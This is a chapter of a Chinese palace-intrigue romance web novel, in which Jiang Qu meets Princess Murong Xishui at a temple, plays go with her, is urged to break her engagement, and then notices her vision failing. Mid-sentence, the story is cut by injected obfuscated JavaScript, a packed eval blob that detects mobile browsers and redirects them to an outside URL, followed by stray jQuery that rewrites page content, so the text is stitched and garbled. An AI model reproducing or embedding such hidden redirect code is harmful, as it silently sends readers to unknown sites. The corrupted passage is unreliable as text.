麻雀落在长满青苔的窗沿上,嘴里叽叽喳喳叫个不停,探着毛茸的脑袋观望厨下清癯的人影。
姜蕖回眸对上麻雀骨碌碌的眼珠,顺手舀了一碗半生不熟的七宝粥洒在厨房前的一小块空地上,麻雀蹦过来,满足地吃起来。
姜蕖轻笑一声,余光看见剩了大半锅的七宝粥,再次犯了难。思来想去下,姜蕖决定将剩下的七宝粥喂给寺内放生园里的孔雀白鹅。
放生园离厨房不远,姜蕖将粥食舀进粥钵后,逢人问了园子的位置,便朝着地方走去。
甫一看见放生园内的景象,姜蕖诧异地顿在原处。在她面前,只有及腰长的杂草和沿着她小腿蹦的蟋蟀,连孔雀白鹅的毛都没看见。她按了按眉心,远处的山鸡发出嘶哑难听的叫声,姜蕖将手里的粥钵里放在地上,心道:好歹有个山鸡吃。
从前听闻东华寺内放生池里荷花开得好,如今连通往池子的小道都被杂草掩盖。
姜蕖轻叹一声,正要转身离开,忽然听见有人开口唤她。
“姜姑娘,好久不见。”
姜蕖侧目看去,只见女子款款走来,一身龟背纹曳地罗裙,头戴花丝嵌金宝簪衬得她面若桃花,身形窈窕。姜蕖怔愣一瞬,迟钝地想起唤她的女子正是大周朝的长公主,嘉佑帝慕容元的长女慕容惜水。
姜蕖敛眉,正要屈膝行礼,双手就被慕容惜水拉住,她道:“不必多礼。”
姜蕖不言。
慕容惜水率先开口:“姜姑娘在此处作甚?”
姜蕖低垂眼眸,所幸她没干什么见不得人的事情,便简单将方才的事情说与慕容惜水听。
慕容惜水捂唇轻笑,红唇半启道:“姜姑娘真是个妙人。本宫见你举止舒缓,想来现在也没什么要紧事儿,不如陪本宫去前面那处亭子坐坐?”
姜蕖心中有些诧异,面上却不显。在她的记忆中,她与慕容惜水并不相熟,甚至连两句话都未曾说过,今日何故对她做出这般亲昵的举动?
“不愿意吗?”慕容惜水轻声问道,涂着蔻丹的手指挠了挠姜蕖的手背。
手背一阵痒意,姜蕖回神,忙后退半步道:“臣女自然愿意。”
慕容惜水勾唇一笑,一双柳叶眼妩媚又多情,她悠悠看了眼身旁一身素衣的姜蕖,未施粉黛,依旧不掩其清丽貌美。
四角凉亭位于一个柳树下,挡住正午盛日。
姜蕖端正地坐在石凳上,慕容惜水命人上了一壶凉茶和几碟精致小巧的点心。
慕容惜水瞥了姜蕖一眼,笑问:“听闻姜姑娘的棋技精湛,不如与本宫下一盘?”
姜蕖不清楚她目的为何,只得淡声道好。
内侍端上紫檀棋枰,姜蕖眼眸微微睁大,此等成色的棋枰极为少见,她今日得幸一观看,心情也好了许多。慕容惜水挑眉一笑,示意姜蕖执黑先行。
姜蕖执黑棋,慕容惜水执白棋,交替落子。
一晃眼,一个时辰悄然流逝,棋枰之上棋子星罗棋布,局势已成。
姜蕖扶了扶僵硬的腰身,抿了一口凉茶,温声道:“承让了。”
慕容惜水将白棋扔进棋盒中,支着手肘,悠然道:“姜姑娘的棋技果真了得,只是来年嫁入安王府,成了安王妃,可还有这个闲情逸致去下棋?”
姜蕖有些莫名,慕容惜水为何突然将话头扯到她的婚事上,她随口应付道:“安王殿下谦和有礼,与他对弈未尝不是件趣事。”
“谦和有礼?”慕容惜水定定看她,语气骤然尖锐,轻蔑道:“本宫看是寡淡无味还差不多。姜姑娘,本宫可要提醒你一句,安王的母亲薛文珠可算不上什么好东西,慕容衡护不住你的。”
姜蕖抬头看她,眸中尽是冷意,她淡道:“公主想说什么不妨直说。”
“本宫要你放弃这门婚事。”慕容惜水道。
姜蕖淡道:“公主,这门婚事由不得臣女做主。”
慕容惜水摆了摆手,“无事,只要你愿意放弃这门婚事就好,其他的本宫自有法子。”
姜蕖对她口中的法子不感兴趣,只要是能解了这门麻烦的婚事,哪怕声名狼藉,绞了头发做姑子,姜蕖也是愿意的,她攥紧手指,淡声道:“臣女听凭公主决断。”
慕容惜水打量她一眼,满脸的温顺,可棋枰上黑旗的攻势凌厉,招招狠辣,连一分掩饰都不屑去做。
不亏是她心仪的女子。
慕容惜水懒散地靠在石桌上,挥手道:“你回去吧。”
姜蕖心中松下一口气,毫不犹豫起身离开。
慕容惜水轻蹙眉头,道:“方才瞧你甚是喜欢这盘棋枰,本宫大度,送你了。”随即她招了招手唤来内侍,“去,送到姜姑娘的禅房里。”
姜蕖一怔,道谢后转身离开。
慕容惜水望着姜蕖清瘦的背影,素色裙摆随风微微扬起,逐渐隐没在转角中,她极轻地叹了一口气。
身旁年迈的李嬷嬷开口道:“公主,有些事情做不得。”
慕容惜水怨声开口:“她似乎比一年前瘦了。”
李嬷嬷淡道:“公主,不该想的别想。”
慕容惜水瞥了她一眼,冷冷开口道:“嬷嬷,本宫虽敬你,但你还是要摆清自己位置的。”
李嬷嬷梗着脖子,依旧道:“老奴不敢,您可以喜欢邺都城任何公子小姐,但唯独不可以是姜家小姐。惠妃娘娘临终前最大的愿望便是公主您能平安顺遂,姜家与薛家紧密相连,其中危险重重,公主莫要轻易为一人涉险。”
慕容惜水不耐地打断她,道:“本宫愿意,本宫看上的人自然会是这世上顶顶好的人。”
李嬷嬷反驳道:“那公主府的面首呢?都是顶顶好的人?”
慕容惜水嗤笑一声,“不一样,他们只不过是一群解闷的小玩意。”
——
一路上,姜蕖心事重重,她当然不会自负地认为慕容惜水是为了她,才主动提出帮她解去这门婚事。但是解了这门婚事,慕容惜水能得到什么好处?这正是她想不通的疑团。
“姜姑娘,这棋枰放在何处?”
跟在她身后的内侍突然出声询问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494076|202385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,姜蕖方才发觉已经走到禅房院前。她随口吩咐一句,内侍将棋枰放在屋内的木桌上,默声离开。
院外的菩提树长得好,宽厚的绿叶在地上落下一片阴影。即便日头已经落下,但依旧有几分燥热。姜蕖在树下站了一会儿,双眼便有些刺痛。
她按了按眼眶,径自回了屋。
屋内小木桌上整齐放置着棋枰,姜蕖向来喜欢珍藏各种棋枰,今日碰到此等上品,自然高兴。她走近一看,这才发现棋枰旁放置了一只食盒,盛开的莲纹环绕盒壁。
姜蕖疑惑打开,扑面而来的竟是一股醇厚的米香,她怔愣在原地,热气湿润她的眼眸,她迟钝地眨了眨眼。
真有田螺姑娘?
姜蕖里里外外环视一圈,没发现田螺姑娘,也没瞧见喜鹊的身影,不知她自个儿跑哪去了。
正想着,喜鹊悠哉地从外头走进来,嘴里叼着一枝狗尾巴草,姜蕖狐疑看着她,开口问:“喜鹊?是你做的粥吗?”
“啊,什么粥?”喜鹊挠了挠头,扯下嘴里的草,走进屋看了一眼,道:“不是奴婢,应该是僧人准备的晚膳。”
姜蕖蹙眉看了片刻,舀了一勺送进嘴里,入口绵滑软糯,香甜的气息溢满唇瓣,她若有所思道:“这些僧人果真是吃素吃惯了,一碗七宝粥都能做的这般好。”
喜鹊嘻嘻一笑,凑到姜蕖身边,道:“姑娘,你真聪明。”
姜蕖微微扬眉,“莫名其妙。”
“哪有!”喜鹊踩脚,解释道:“姑娘就是女中诸葛,果然被姑娘猜到了。薛文珠中途醒了一会儿,便开口下令前来东华寺的官家小姐们不准离开,还命令众人要抄写经书,说是给佛祖赔罪!”
喜鹊扬着笑脸,问道:“姑娘是怎么猜到的?”
姜蕖咽下唇中的粥食,眸中冷然,“干坏事,总要掩人耳目。”
喜鹊似懂非懂地点头,转而飞奔到菩提树下斗蟋蟀。
姜蕖慢悠悠地用完七宝粥,外头天色已然昏暗,屋内没点灯火,姜蕖看不清屋内的物件,她迈步向外走去,一时间没注意脚下的门槛,身子骤然朝前倒去。
膝盖重重磕在青石板上,钻心的疼痛深入骨头缝里,姜蕖闷哼一声,她用力地揉搓着膝盖缓解疼痛,想来膝盖已然青黑一大片了。
喜鹊听见动静,匆匆跑了进来。
“姑娘,怎么这般不小心。”
姜蕖蹙眉,抬头望着眼前略微模糊的人影,道:“天有些昏暗,我没看清。”她眨了眨眼,努力想要辨清喜鹊的模样,却发觉眼前好似蒙了一层雾气,让她不甚真切。
“喜鹊,你去点灯。”姜蕖突然有些心慌。
烛光亮起,喜鹊的面容比方才清晰一些,姜蕖敛眉,想来应当是正午的火光刺得她看不真切吧。
她叹了一口气,从地上坐了起来,倚在桌旁扶着头。
喜鹊找出药油,轻柔地为姜蕖揉去膝盖上的瘀血,她抬头看了一眼姜蕖,目光落在姜蕖手腕上蜿蜒的青黑,身体陡然一僵,她颤声问:“姑娘,您的手腕怎么了?”